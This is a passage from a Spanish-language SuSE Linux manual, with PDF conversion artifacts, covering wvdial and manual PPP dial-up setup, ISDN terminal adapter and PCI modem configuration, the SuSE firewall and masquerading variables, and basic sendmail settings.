`dialout'. Esto se puede realizar con YaST tal como se explica en el apartado 3.7.8 en la página 114Administración de grupossubsection.3.7.8. Los usuarios dados de alta en los grupos `uucp' y `dialout' tendrán acceso al fichero /etc/wvdial.conf, que contiene el ''login'' y la contraseña para el acceso a Internet. Para aumentar la seguridad es posible ''poner a salvo'' la contraseña introduciéndola en un fichero aparte: 1. Cambie al directorio /etc/ppp y genere como `root' el fichero wvpw con los derechos 600 . tierra: # cd /etc/ppp tierra:/etc/ppp # touch wvpw tierra:/etc/ppp # chmod 600 wvpw 2. Edite p. ej. con vi el fichero wvpw e introduzca allí solo la contraseña; después guarde el fichero. 3. Compruebe que los derechos del fichero wvpw sean correctos. Use el comando: tierra:/etc/ppp # ls -l wvpw y compárelo con la salida en pantalla 6.6.1. _______________________________________________________________________________________________________________________ |||||||| -rw------- 1 root root 7 Jan 18 17:20 wvpw | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 6.6.1: Salida en pantalla de ls -l wvpw 4. Ahora hay que repitir la configuración tal como se explicó en el aparta- do 6.6.1 en la página 190Configuración de wvdial subsection.6.6.1, pero a diferencia de éste se introduce ahora @/etc/ppp/wvpw como contraseña. Anteponiendo la ''arroba'' (@ ) wvdial sabe que la contraseña se encuentra en el fichero indicado. El modem emite un sonido fuerte Cuando el volumen del altavoz es demasiado fuerte, puede editar el fichero /etc/wvdial.conf añadiendo la línea Init3 = ATM0 Con este comando el altavoz del modem se apaga. 6.6.2 Configurar varios proveedores con wvdial wvdial es capaz de administrar varios juegos de parámetros para conec- tar con varios proveedores. Para conseguirlo hace falta generar en el fichero /etc/wvdial.conf algunos párrafos adicionales al lado del pár- rafo Dialer Default . Iniciando wvdial con el nombre de uno de estos * * 193 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ párrafos, primero se leen los parámetros de la parte ''Default''. Todos los parámetros que se indican en el párrafo adicional que se haya nombrado, reemplazan los valores anteriores de la parte ''Default''. Un poco más adelante viene un ejemplo para los proveedores Teleline (fichero 6.6.1) y Uni2. La primera configuración se genera con YaST y ésta se amplía manualmente con las líneas que figuran en el fichero 6.6.2. ________________________________________________________________________________________________________* *________|||| | [Dialer Defaults] * * | | Modem = /dev/ttyS0 * * | | * * | | Init1 = ATZ * * | | Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 * * | | Init3 = ATM0 * * | | * * | | Compuserve = 0 * * | | Tonline = 1 * * | | * * | | Dial Command = ATX3DT * * | | Baud = 115200 * * | | * * | | Auto DNS = 1 * * | | Stupid Mode = 0 * * | | * * | | New PPPD = 1 * * | | * * | | * * | | Phone =932345000 * * | | Username = ???????? * * | | Password = ??????? * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.6.1: /etc/wvdial.conf : Párrafo estándar ________________________________________________________________________________________________________* *________ | [Dialer Uni2] * * | | * * | | Phone = 900902030 * * | | Username = ???????? * * | | Password = ???????? * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.6.2: /etc/wvdial.conf : Párrafo suplementario Ejecutando wvdial sin parámetro adicional se establece la conexión a Teleline mientras que con el comando wvdail Uni2 se establece la conexión a Uni2 (consulte también la página del manual de wvdial (man wvdial )). 6.6.3 Adaptadores de terminal para RDSI Los adaptadores de terminal permiten la conexión con RDSI. En compara- ción a las tarjetas RDSI usuales, la computadora y el adaptador de terminal se conectan mediante un cable de puerto serie. Los adaptadores simulan en principio un modem analógico, no obstante estos muestran ciertas particular- idades; p. ej. o necesitan comandos especiales para establecer una conexión punto a pun- to y o con la configuración por defecto generan mensajes del tipo CONNECT am- pliados. A raíz de esto se requiere una adaptación de la configuración de modem: 194 ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial_____________________* *_____________________ 1. Prescinda de la detección automática del modem, la que normalmente se ejecuta vía YaST con `Administración de sistema' / `Configu- ración de red' / `Configurar una red PPP' / `Auto-detección de modem'. 2. Defina la interface de modem en YaST a través de las opciones `Admin- istración de sistema' / `Instalar hardware en el sistema' / `Configuración del modem'. 3. Entre al sistema como superusuario `root'. 4. Cree el fichero /etc/wvdial.conf manualmente; normalmente se crea con un mecanismo automático. El contenido de este fichero debe ser como se muestra en el fichero 6.6.3. _______________________________________________________________________________________________________________________|||| |||||||| [Dialer Defaults] | |||||||| Modem = /dev/modem | |||||||| Baud = 115200 | |||||||| | |||||||| Init1 = | |||||||| Init2 = | |||||||| | |||||||| ; Phone = | |||||||| ; Username = | |||||||| | |||||||| ; Password = | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 6.6.3: /etc/wvdial.conf : Adaptador de terminal En lugar de y se debe intro- ducir ~ según el dispositivo en cuestión ~ uno de los siguientes valores: Fabricante ELSA: ELSA MicroLink ISDN/TLpro y ISDN/TLV.34: Init1 = AT&F\N10%P1 Init2 = AT\V0 Fabricante ELSA: ELSA TanGo 1000 y ELSA TanGo 2000: Init1 = AT&F$IBP=HDLCP Init2 suprimido Fabricante Zyxel: Todos los modelos: Init1 = AT&FB40 Init2 = ATXO Fabricante Hagenuk: Speed/Viper Dragon: Init1 = ATZ Init2 = AT&FB8X0 Otros fabricantes: Consulte en la documentación del fabricante el ''Init- string'' del adaptador. A veces la documentación incluye scripts para Unix o Linux que contienen esta cadena (''Initstring''). También es posible mirar el ''Initstring'' usado para otros sistemas operativos (p. ej. MS-Windows). * * 195 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ Realice los demás pasos de configuración tal como se describe en el manual. Advertencia: No se deben confundir los adaptadores de terminal (RDSI-TA) con centralitas que incorporan una tarjeta RDSI. Estos últimos también se conectan a través de un cable de puerto serie, pero usan un protocolo de comunicación propietario por lo que no se pueden usar bajo Linux. Para su funcionamiento se requiere un driver CAPI, que los fabricantes actualmente no proporcionan para Linux. Esto afecta a los siguientes dispositivos: o Eumex 404 PC o Eumex 322 PCi o AVM Fritz!XPCDr. o Neuhaus Triccy Data LCR 6.6.4 Configuración de modems PCI En Linux las interrupciones (IRQ) y la direcciones de entrada y salida (IO ad- dress) de los puertos serie tienen por defecto los valores que usan las tarjetas ISA. Estos valores representan prácticamente un estándar, por lo que no hay conflictos con recursos en muchos PCs. Al contrario de lo que sucede con las tarjetas ISA, la BIOS asigna los recursos de las tarjetas PCI en el momento del arranque. Cuando solo la BIOS lo decide, estos valores no concuerdan con los tradicionales. Para evitar dichos conflictos, proceda de la siguiente forma antes de la con- figuración de wvdial : 1. Con el comando scanpci -v determine los valores reales que la BIOS haya asignado a los puertos serie. Lo que se debe averiguar es la interrup- ción (IRQ) y la dirección E/S (IO-port). 2. Integre el modem al sistema usando en YaST las opciones `Adminis- tración del sistema' / `Instalar hardware en el sistema' / `Configuración del modem'. Preste atención a un mouse de puerto serie eventualmente existente u otros puertos serie. En caso de duda seleccione /dev/ttyS2 para evitar un conflicto con una tarjeta controladora (de puertos serie) adicional. 3. Con el comando setserial se puede modificar la configuración del puerto serie. Si p. ej. el modem está ocupando el IRQ 5 y la dirección E/S 0x220 , pero el kernel lo espera en IRQ 4 y con puerto 0x02f8 , se puede remediar el problema con el comando: tierra: # setserial /dev/ttyS2 irq 5 port 0x220 Es necesario ejecutar este comando en cada arranque de la máquina. Para ello una posibilidad es la de añadir una entrada al fichero /sbin/init.d/ boot.local. Otra posibilidad es modificar el párrafo start del fichero /sbin/init.d/serial: run_setserial /dev/ttyS2 irq 5 port 0x220 Hay información adicional sobre setserial en la página del manual de setserial (man setserial ). 4. Para comprobar la configuración de la interface, se puede usar el comando wvdialconf /dev/null . Con este comando se comprueban todas las interfaces (puertos) ttySx y el modem debería ser reconocido. 196 ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________* *______________________ Observación: Una alternativa a la configuración con setserial es la mod- ificación de la configuración de IRQ's en la BIOS. Solo es posible si la BIOS lo permite y también si no se requiere modificar la dirección de E/S (IO). Para realizar esta modificación de la BIOS, averigüe en cuál ranura PCI se encuentra la tarjeta. En el programa de configuración de algunas BIOS existe un sub-menú que permite configurar las interfaces PCI. Se define una interrupción (IRQ) fija para cada ranura; seleccione como IRQ fija la ''propuesta'' por la BIOS. El valor será generalmente IRQ 3 o IRQ 4. En el próximo arranque, la IRQ real se ajusta a la predefinida. 6.6.5 Configuración manual de PPP para ''profesionales'' Si por alguna razón la configuración del acceso a Internet no hubiera fun- cionado, es posible seguir los pasos que se detallan a continuación para es- tablecer una configuración manual. Sin embargo, es preferible usar wvdial al comenzar con la configuración. _______________________________________________________________________________________________________________________ |||||||| Hay algunas configuraciones y scripts de ejemplo en el paquete inetcfg, || | |||||||| || | |||||||| serie n, en el paquete ppp_nt y en el paquete toppp, serie doc. || | ||||||||_______________________________________________________________________________________________________________||_ Establecer la conexión La conexión PPP se establece en dos pasos: o Primero se crea la conexión entre los dos modems. De esto se encarga el programa chat . o Una vez establecida la conexión, chat se ocupa también de entrar al servi- dor (login) y pasa después el control al daemon PPP. Este inicia después el protocolo PPP. Después de haber instalado el paquete inetcfg, encontrará en el directorio /usr/doc/packages/inetcfg el script ppp-up , el cual se debe copiar al directorio /etc/ppp para modificarlo posteriormente según sus necesidades. Con ppp-up se inicia entonces la conexión PPP. Primero se definen las direcciones IP de servidor y cliente. pppd preguntará al servidor por su dirección y por la del cliente en caso de haber indicado con anterioridad 0.0.0.0 como dirección IP del cliente y, si se ha dejado vacío el campo para la dirección IP del servidor tal como se puede ver en el fichero 6.6.4 en la página siguiente. Conociendo de antemano las direc- ciones o descartando la asignación dinámica de éstas, se pueden anotar las direcciones IP correspondientes. Más adelante se señala el dispositivo al cual está conectado el modem. Los banderines (ingl. flags) avisan a pppd que se comunique a una velocidad de 38400 bps con el modem y que se anote la conexión PPP como Default Route (Ruta predeterminada) en la tabla de ''routing'' del kernel. Existe una multitud de banderines y opciones adicionales cuyos significados se explican en la página del manual de pppd (man 8 pppd ) y en el fichero /usr/doc/howto/ en/PPP-HOWTO.gz. El ejemplo básico dado debería funcionar en la mayoría de los casos. * * 197 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | #!/bin/sh * * | ||# * * || | # /etc/ppp/ppp-up * * | | # * * | | * * | | # Establecimiento de una conexión PPP * * | | # * * | | * * | | * * | | localip=0.0.0.0 * * | | * * | | remoteip= * * | | * * | | device=/dev/modem * * | | * * | | * * | | pppflags="38400 modem debug defaultroute" * * | | * * | | * * | | /usr/sbin/pppd lock connect \ * * | | * * | | '/usr/sbin/chat -v -f /etc/ppp/ppp.chat' \ * * | | $device $pppflags $localip:$remoteip * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.6.4: /etc/ppp/ppp-up Ahora chat se encarga de establecer la conexión del modem, tal como se ha definido en el fichero /etc/ppp/ppp.chat: ________________________________________________________________________________________________________* *________|| | TIMEOUT 30 * * | | * * | | ABORT "NO CARRIER" * * | | ABORT BUSY * * | | ABORT "NO DIALTONE" * * | | * * | | ABORT ERROR * * | | "" +++ATZ * * | | * * | | OK ATDT931234567 * * | | CONNECT "" * * | | * * | | ogin:--ogin: * * | | word: * * | |_______________________________________________________________________________________________________* *________ | Fichero 6.6.5: /etc/ppp/ppp.chat Las líneas que comienzan con ABORT , definen las respuestas del modem que señalan una conexión fallida. La cadena +++ATZ sirve para inicializar el módem. Con ATDT09113247122 el modem llama al servidor. Cuando el modem recibe la cadena CONNECT , comienza el proceso de entrada al sistema (in- gl. login). Primero se envía el nombre de entrada al servidor y después la contraseña. Hay más información sobre chat en página del manual de chat (man 8 chat ). Si los atributos de ambos ficheros están configurados correctamente, la lla- mada a ppp-up es suficiente para iniciar la conexión PPP. 198 ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________* *______________________ _______________________________________________________________________________________________________________________||| |||||||| La variable de entorno PATH no contiene la rama en la que se encuentra el || | |||||||| || | |||||||| script de llamada ppp-up , si lo ha grabado en /etc/ppp/ppp-up como se || | |||||||| || | |||||||| ha explicado en este capítulo, por este motivo debe iniciar la rama completa || | |||||||| para llamar al script: || | |||||||| || | |||||||| tierra:/root # /etc/ppp/ppp-up || | |||||||| Antes tiene que poner el atributo `x' (ejecutable) del fichero, p. ej. medi- || | |||||||| || | |||||||| ante: || | |||||||| tierra:/root # chmod 755 /etc/ppp/ppp-up || | ||||||||_______________________________________________________________________________________________________________||_ La conexión se finaliza parando el daemon PPP, lo que se puede realizar p. ej. con el script /etc/ppp/ppp-down : _______________________________________________________________________________________________________________________|| |||||||| #!/bin/sh | |||||||| # | |||||||| | |||||||| # /etc/ppp/ppp-down | |||||||| # | |||||||| | |||||||| # Terminar conexión PPP | |||||||| # | |||||||| | |||||||| | |||||||| kill `cat /var/run/ppp0.pid` | ||||||||_______________________________________________________________________________________________________________ | Fichero 6.6.6: /etc/ppp/ppp-down Aquí las comilla son muy importantes (comilla al revés |__|`, que se ob- tiene pulsando dicha tecla seguida de un espacio). Se trata de una substitución de comando con la cual se pasa el resultado del comando cat /var/run/ppp0.pid al programa kill . Adaptación del Chat-script Naturalmente hay que adaptar siempre el chat-script /etc/ppp/ppp.chat a sus necesidades, introduciendo el nombre de entrada propio y la contraseña. Muchas veces se cambia toda la secuencia de ''login'' y en algunos casos es incluso necesario iniciar en la contraparte el protocolo PPP, p. ej. con el comando ppp default . Para todo esto no hay ninguna descripción genérica. El proceso de entrada al sistema con un terminal es equiparable a un ''login'' normal con la diferencia que este proceso manual se automatiza con el Chat- script. Diferente sería el caso cuando se necesita una autorización especial a través de PAP, CHAP o similar. Se recomienda seguir el procedimiento que se detalla a continuación: o Lea cuidadosamente la información del proveedor y averigüe si éste ya tiene un script para conectar; en caso positivo contacte por favor con nosotros para que podamos coleccionarlos y a su vez ponerlos en nuestra distribución a disposición de todos. Puede acceder a esta información mediante nuestro banco de datos de soporte que se encuentra en: http://sdb.suse.de/sdb/de/html/ o ¡Prepare lápiz y papel! o Conecte manualmente con un programa de terminal (p. ej. Minicom (minicom -s )) y efectúe el ''login'', anotando exactamente lo que se * * 199 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ envía, en qué orden y cuáles son las indicaciones necesarias por parte del usuario. La mayoría de los programas de terminal (como también mini- com ) permiten protocolizar los textos en pantalla._En_el caso de minicom ____ se alcanza_con la combinación de teclas |A____l|t+ |l_ |(¡La combinación |A____l|t + |z_ |muestra una lista de todas la combinaciones posibles!). o Siga en este proceso hasta el momento en el cual la contraparte cambia al modo PPP, lo que debería ser visible a través de un mensaje, p. ej. "ppp- protocol started". o La conexión que existe_en aquel_momento se cancela simplemente col- gando (Minicom: |A____l|t+ |h_ |) ____ _ o Finalice el programa de terminal (Minicom |A____l|t+ |x_ |) o Puede adaptar ahora el chat-script con el protocolo de la conexión manual. A continuación vienen un par de explicaciones adicionales acerca de chat . El programa chat se inicializa mediante la primera secuencia: TIMEOUT 30 ABORT "NO CARRIER" ABORT BUSY ABORT "NO DIALTONE" ABORT ERROR ________________________________________________________________________________________________________* *________|| | El tiempo de espera TIMEOUT depende individualmente del tiempo nece- * * |||| | sario para establecer la comunicación y debe ser más alto en algunos casos, * * ||| | * * ||| | p. ej. 60 . * * ||| |_______________________________________________________________________________________________________* *________|||_ El comando ABORT indica con cuáles respuestas por parte del modem debe finalizar el script. Las siguientes líneas en el script siguen el esquema expuesto a continuación: El primer parámetro (hasta el primer espacio), indica lo que el programa debe esperar; si recibe esta cadena de parte del modem, el programa responde enviándole el contenido del resto de la línea. +++ATZ Aquí no se espera ninguna cadena si no se inicializa el modem inmediata- mente, pero esto depende de su modem y del perfil almacenado. El comando ATZ carga normalmente el perfil 0 del modem (lo mismo ocurre después de encenderlo). Tal vez tendrá que poner un comando diferente; para saberlo puede comparar p. ej. con su software de conexión de DOS o de Windows. ________________________________________________________________________________________________________* *________|| | Si su modem hace cualquier cosa menos lo que debería hacer, es posible * * |||| | que se haya desajustado por completo, de tal manera que a veces el prob- * * ||| | * * ||| | lema ni siquiera se resuelve con un ATZ . En este caso, lo mejor es enviar * * ||| | el comando AT&F al modem usando p. ej. Minicom. Con esto, el modem * * ||| | * * ||| | se resetea a la configuración de fábrica. * * ||| |_______________________________________________________________________________________________________* *________|||_ Ahora se marca y se ejecuta la secuencia de ''login'', p. ej. : OK ATDT CONNECT "" ogin:--ogin: word: 200 ________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''______________________* *______________________ Introduzca las variables que corresponden a su instalación en lugar de: , y . Tenga en cuenta que en este ejemplo se busca solamente word: , porque la secuencia exacta enviada podría ser igualmente Password: o password: . Con la línea ogin:--ogin: se pretende conseguir una cierta flexibilidad a la hora de detectar la cadena que pide la entrada al sistema, ya que se envía un `Return' si la primera ca- dena (ogin: ) no fue detectada esperando después otra vez la cadena (ogin: ). La página del manual de chat (man 8 chat ) contiene más información y ejemplos al respecto. Allí se encuentra también la ''motivadora'' advertencia: `` In actual practice, simple scripts are rare. '' _______________________________________________________________________________________________________________________ |||||||| Ningún Chat-script debe contener ninguna línea vacía, ningún espacio al || | |||||||| || | |||||||| comienzo de la línea y ningún comentario. || | ||||||||_______________________________________________________________________________________________________________||_ Se puede probar ahora la conexión con el comando /etc/ppp/ppp-up . Los mensajes de error que genera p. ej. el Chat-script no aparecen en pantalla sino que se apuntan en el fichero /var/log/messages. Las entradas actuales se pueden visualizar introduciendo en una segunda consola el comando: tierra:/ # tail -f /var/log/messages De este modo se ve en seguida cuando aparecen mensajes importantes. 6.7 Masquerading y Firewall ~ amigos y ''amiguetes'' Muchos usuarios de SuSE Linux usan la computadora como máquina de ac- ceso a Internet a través de llamada telefónica o a través de una línea dedicada. En la red local se usan muchas veces direcciones IP privadas, que no pueden acceder directamente a Internet; para habilitar el acceso, existe la posibilidad de usar la técnica de ''Masquerading''. Para usarla instale el paquete fire- wals de la serie sec que contiene un script para el uso de masquerading y de un cortafuegos (ingl. firewall). Ambos servicios se configuran con el fichero /etc/rc.firewall, ya que es muy recomendable usar también un cortafue- gos para proteger la red contra intrusos. En todo caso lea la documentación en /usr/doc/packages/firewals. _______________________________________________________________________________________________________________________|| |||||||| No se puede garantizar el funcionamiento total de los procedimientos pre- ||| | |||||||| sentados. Por eso le rogamos no responsabilizar a los autores del libro si || | |||||||| || | |||||||| algún ''hacker'' entre en su sistema, aunque todo esté correctamente config- || | |||||||| urado. Naturalmente estamos abiertos a críticas y propuestas presentadas || | |||||||| || | |||||||| en feedback@suse.de y si existe algo para mejorar, lo mejoraremos ! || | ||||||||_______________________________________________________________________________________________________________||_ 6.7.1 Fundamentos de ''Masquerading'' Para el ''masquerading'' se necesitan dos dispositivos de red; uno de ellos es generalmente una tarjeta Ethernet, que conecta con la red interna; ésta * * 201 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ debe usar direcciones de red de un área privada, prevista para ello como p. ej. 192.168.0.0 hasta 192.168.255.255 . En este ejemplo supongamos que el enrutador que estamos configurando, tiene la dirección IP 192.168.0.1 sobre la tarjeta red que conecta hacia la red interna. De este modo resulta que las computadoras de la red interna tienen las direcciones IP 192.168.0.2 , 192.168.0.3 , etc. El dispositivo de red externo es p. ej. la tarjeta RDSI que se usa para el acceso a Internet o una línea dedicada, conectada a una tarjeta Ethernet. Esta es la suposición para el ejemplo; la configuración se explica más abajo. 6.7.2 Principios de un cortafuegos En realidad el paquete firewals no contiene ningún cortafuegos, sino un ''filtro de paquetes''. Este protege la red contra accesos a direcciones IP y puertos que no estén explícitamente abiertos. Si la computadora actúa como servidor de web, tiene que tener el puerto 80 abierto, para que se pueda acceder a ella; así que evidentemente la computadora no está protegida contra ataques a este puerto. El filtro de paquetes no puede ni debe reemplazar ningún cortafuegos a nivel de aplicación, que debe ser configurado por un servicio técnico profesional. Sin embargo, la instalación del filtro de paquetes ya es una buena medida de seguridad p. ej. para el uso en casa. 6.7.3 Configuración de Masquerading y/o Firewall La documentación sobre el SuSE -Firewall se encuentra en /usr/doc/ packages/firewall y algo de teoría en el capítulo 18.1 en la pági- na 451Fundamentossection.18.1. Todos los detalles de la configuración se encuentran en el fichero /etc/rc. firewall y se explican allí en inglés. Aquí le damos paso por paso las instrucciones necesarias para una configuración exitosa. Para cada detalle de la configuración se explica si ésta vale para Firewall o para Masquerading. Aquí no se explica el significado de DMZ ''zona no militarizada'', que aparece en el fichero de configuración. Si realmente no necesita nada más, aparte de ''Masquerading'', solamente rellene las líneas marcadas con Masquerading. o FW_START (Firewall, Masquerading): Poner en yes para que el script se inicie. Esto habilita firewall y/o masquerading. o FW_DEV_WORLD (Firewall, Masquerading): For exampleeth0 . Aquí se indica el dispositivo conectado hacia Internet. En caso de RDSI es p. ej. ippp0 . o FW_DEV_INT (Firewall, Masquerading): El dispositivo que se conecta con la red ''privada''. Si no existe ninguna red interna, el cortafuegos solo protege a la misma computadora; deje este campo vacío. o FW_ROUTE (Firewall, Masquerading): Si necesita masquerading, tiene que indicar aquí yes . Para tener acceso a la red interna desde afuera, las com- putadoras internas necesitan tener direcciones IP oficialmente asignadas. ¡Por lo general no es aconsejable permitir este acceso! Indicando yes para el masquerading, las computadoras internas no son visibles desde 202 ________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''________________________* *____________________ fuera, ya que disponen de una dirección IP privada (p. ej. 192.168.x.x ), que no se ''rutea'' en Internet. o FW_MASQUERADE (Masquerading): Si necesita masquerading, tiene que indicar aquí yes . Para las computadoras internas el acceso a Internet es más seguro si se efectúa a través de un servidor proxy. o FW_MASQ_NETS (Masquerading): Aquí se indican las computadoras y/o las redes que participan en el masquerading. Las entradas se separan con espacios, p. ej. : FW_MASQ_NETS="192.168.0.0/24 192.168.10.1" o FW_PROTECT_FROM_INTERNAL (Firewall): Para proteger el cortafue- gos también contra ataques desde la red interior, hay que indicar aquí yes . En tal caso hace falta habilitar explícitamente aquellos servi- cios que deben estar disponibles para la red interior. Ver también FW_SERVICES_INTERNAL_TCP y FW_SERVICES_INTERNAL_UDP . o FW_AUTOPROTECT_GLOBAL_SERVICES (Firewall): Normalmente se deja en yes . o FW_SERVICES_EXTERNAL_TCP (Firewall): Aquí se indican los servicios a acceder p. ej. "www smtp ftp domain 443" . Para la computadora en casa, que normalmente no ofrece servicios a una red externa, no se indica nada. o FW_SERVICES_EXTERNAL_UDP (Firewall): En este campo se introducen los puertos necesarios para utilizar un servidor de nombres con acceso desde afuera, por lo que puede quedar en blanco casi siempre. o FW_SERVICES_INTERNAL_TCP (Firewall): Aquí se indican los servicios a los que tiene acceso la red interna. Es similar a FW_SERVICES_EXTERNAL_TCP , pero aquí las indicaciones se refieren a la red interna. o FW_SERVICES_INTERNAL_UDP (Firewall): Véase arriba. o FW_TRUSTED_NETS (Firewall): Aquí se apuntan las computadoras que realmente son de fiar (''Trusted Hosts''). Todas estas computadoras tam- bién deben estar protegidas contra intrusos. For example"172.20.0.0/16 64.33.13.24" significa que todas las computadoras cuya dirección IP comienza con 172.20.x.x y la que tiene la IP 64.33.13.24 puedan pasar por el cortafuegos. o FW_SERVICES_TRUSTED_TCP (Firewall): Aquí se definen los puertos que los ''Trusted Hosts'' pueden usar. Para que las computadoras de fiar puedan acceder a todos los servicios introduzca p. ej. 1:65535 . Normal- mente es suficiente con indicar el servicio ssh . o FW_SERVICES_TRUSTED_UDP (Firewall): Lo mismo de arriba, pero ref- erente a UDP. o FW_ALLOW_INCOMING_HIGHPORTS_TCP (Firewall): Para trabajar con FTP normal (activo) hay que indicar aquí ftp-data . o FW_ALLOW_INCOMING_HIGHPORTS_UDP (Firewall): Para usar los servi- dores de nombres que están dados de alta en /etc/resolv.conf hay que introducir dns aquí. yes abre todos los puertos de números altos. o FW_SERVICE_DNS (Firewall): Si existe en la red local un servidor de nombre con acceso desde fuera de la red, hay que indicar yes aquí; a su vez el puerto 53 ha de estar abierto. * * 203 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ o FW_SERVICE_DHCLIENT (Firewall): Usando el dhclient para recibir la dirección IP, habría que indicar yes . o FW_LOG_* : Aquí se pueden indicar los eventos que se van protocolizan- do en un fichero de butaca (log). Para el uso normal alcanza yes para FW_LOG_DENY_CRIT . o FW_STOP_KEEP_ROUTING_STATE (Firewall): En caso de entrar a Internet de forma automática con diald o vía RDSI (dial on demand) indique yes aquí. Esto es todo. No olvide probar el cortafuegos (p. ej. con telnet desde afuera). Este intento se muestra en el fichero /var/log/messages aproximadamente de la siguiente forma: Feb 7 01:54:14 www kernel: Packet log: input DENY eth0 PROTO=6 129.27.43.9:1427 195.58.178.210:23 L=60 S=0x00 I=36981 F=0x4000 T=59 SYN (#119) 6.8 Vamos a escribir ~ Configuración de sendmail Una vez que nos podemos comunicar con el mundo ~ ya sea mediante UUCP, PPP o RDSI ~ también lo queremos aprovechar. Una aplicación típica para ello es el + E-Mail, el correo electrónico, por lo que le presentamos aquí un apartado sobre la configuración de sendmail 3 . sendmail decide con cuál medio enviar los E-Mail: a través de una red TCP/IP con el protocolo SMTP, directamente a la carpeta local de E-Mail de un usuario o a través de otros programas como UUCP. El fichero de configuración principal de sendmail es /etc/sendmail.cf. Con YaST se puede generar el fichero /etc/sendmail.cf, que sirve para una configuración sencilla. De hecho los parámetros de la configuración se apuntan primero en /etc/rc.config.d/sendmail.rc.config; SuSEcon- fig los toma de allí y genera el fichero /etc/sendmail.cf usando para ello /sbin/conf.d/SuSEconfig.sendmail. Los ficheros de configuración de sendmail son muy complejos pero no se asuste, pues SuSE Linux incluye dos configuraciones que cubren todos los casos que generalmente se presentan. Usando sendmail dentro de una red TCP/IP, es casi obligatorio apoyarse en un servidor DNS. En este se debería poner una entrada extra (''MX record'', ''mail exchange record'') para los E-Mail. La configuración actual se puede comprobar con el comando host del paquete bind: tierra: # host sol.cosmos.univ sol.cosmos.univ address 192.168.0.1 sol.cosmos.univ mail is handled (pri=10) by sol.cosmos.univ sol.cosmos.univ mail is handled (pri=100) by mail-relay.cosmos.univ Si no aparece ninguna entrada para mail, habrá que pedir ayuda al admin- istrador de DNS. Usando YaST es posible ajustar los siguientes parámetros para la con- figuración____de____E-Mail____en____/etc/rc.config.d/sendmail.rc.config_ 3 Alternativas a sendmail son postfix o qmail ; estos programas no son objeto de discusión en este libro. 204 _____________________________________________________6.8.__Vamos_a_escribir_~_Configuración_de_sendmail_____________________* *______________________ (ver apartado 17.6 en la página 437Las variables en /etc/rc.config ~ Configuración de sistemasection.17.6 tal como actualmente el fichero /etc/mail/README.linux): o SENDMAIL_TYPE="yes" Esta variable debe tener el valor yes , en caso de que el fichero de configu- ración de sendmail se deba formar con los valores definidos en /etc/rc. config.d/sendmail.rc.config. Si quiere generar /etc/sendmail. cf por su cuenta, debe dar a la variable el valor no . o SENDMAIL_LOCALHOST=\ "localhost sol.cosmos.univ www.cosmos.univ" sendmail tiene que saber cuál E-Mail se almacena localmente y cuál tiene como destino otra computadora. Solo los E-Mail que van a la com- putadora local se guardan por defecto como E-Mail locales. Usando SENDMAIL_LOCALHOST se puede indicar nombres de computadoras adi- cionales ~ separados por espacios ~ que se contemplan como si fueran locales. Ejemplo: La computadora se llama sol.cosmos.univ y es también servi- dor web para www.cosmos.univ. Para que se acepte el E-Mail enviado a www.cosmos.univ, hay que anotar lo siguiente: SENDMAIL_LOCALHOST="localhost www.cosmos.univ" o FROM_HEADER=cosmos.univ Normalmente la dirección del remitente es el nombre de la computadora local; este parámetro permite cambiarlo a cualquier otro nombre. Ejemplo: La computadora se llama tierra.cosmos.univ, pero el E- Mail debe llegar con el remitente tux@cosmos.univ . Se hace con la siguiente definición: FROM_HEADER=cosmos.univ . o SENDMAIL_SMARTHOST=mail-server.provider.de A todos los E-Mail no locales, sendmail pregunta por los datos DNS para después enviarlos con el protocolo SMTP a la computadora desti- no. Esta puede estar en cualquier rincón del mundo (donde haya Internet) y la conexión hacia ella puede ser bastante lenta. Con el parámetro men- cionado se puede indicar una computadora intermedia que recibe todo el E-Mail no local, para enviarlo luego a su destino. Ejemplo 1: Con el siguiente ejemplo se puede entregar todo el E-Mail al proveedor, el cual se encarga después de dejarlo en Internet: SENDMAIL_SMARTHOST=smtp:servidor-correo.proveeder.es . Ejemplo 2: Si está conectado vía UUCP, puede pasar todo el E-Mail no- local al servidor UUCP: SENDMAIL_SMARTHOST=uucp-dom:uucp.cosmos.univ . o SENDMAIL_NOCANONIFY=no sendmail comprueba todas las direcciones de E-Mail en los encabeza- dos y reemplaza los nombres con los ''Fully Qualified Domain Names'' (FQDN) (los nombres de dominio totalmente cualificados). Esta opción se puede desactivar con yes si al escribir los E-Mail siempre pone el nombre totalmente cualificado o cuando (por una conexión telefónica) no siempre tiene acceso a un servidor DNS. * * 205 6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________* *_______________________________________@ o SENDMAIL_ARGS="-bd -q30m -om" Cuando la computadora arranca, sendmail se inicia con los parámetros que se indican aquí. -q30m significa que sendmail comprueba cada 30 minutos si todavía hay E-Mail no enviado en el directorio de cola /var/spool/mqueue. -bd hace que sendmail se inicie en el ''daemon mode'' (modo daemon) para aceptar el E-Mail de otras computadoras a través de la red TCP/IP. En caso de conexiones ''dialup'' (conexiones temporales por teléfono) se podría p. ej. suprimir -q30m y mandar los E-Mail solo con una llamada directa con sendmail -q ; esta llamada a su vez se podría automatizar con una entrada en crontab y así p. ej. mandar el correo una vez al día. Otra posibilidad es la de incorporar sendmail -q en los scripts de es- tablecimiento de conexión con lo cual se transfiere el E-Mail cada vez que se establece la 